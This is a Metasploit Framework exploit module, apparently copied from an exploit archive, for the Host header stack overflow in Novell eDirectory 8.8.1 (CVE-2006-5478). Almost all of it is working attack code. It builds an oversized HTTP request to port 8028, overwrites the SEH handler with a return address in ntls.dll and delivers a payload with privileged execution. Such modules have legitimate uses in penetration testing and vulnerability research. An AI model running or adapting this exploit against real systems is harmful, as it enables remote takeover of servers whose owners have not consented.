Novell eDirectory NDS Server Host Header Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell eDirectory NDS Server Host Header Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Novell eDirectory 8.8.1.  
The web interface does not validate the length of the   
HTTP Host header prior to using the value of that header in an   
HTTP redirect.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2006-5478'],  
['OSVDB', '29993'],  
['BID', '20655'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll   
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'Oct 21 2006',  
  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(8028)], self.class)  
end  
  
def exploit  
connect  
  
sploit = "GET /nds HTTP/1.1" + "\r\n"   
sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)   
sploit << "," + rand_text_alphanumeric(719, payload_badchars)   
seh = generate_seh_payload(target.ret)  
sploit[705, seh.length] = seh  
sploit << "\r\n\r\n"  
  
print_status("Trying target #{target.name}...")  
  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`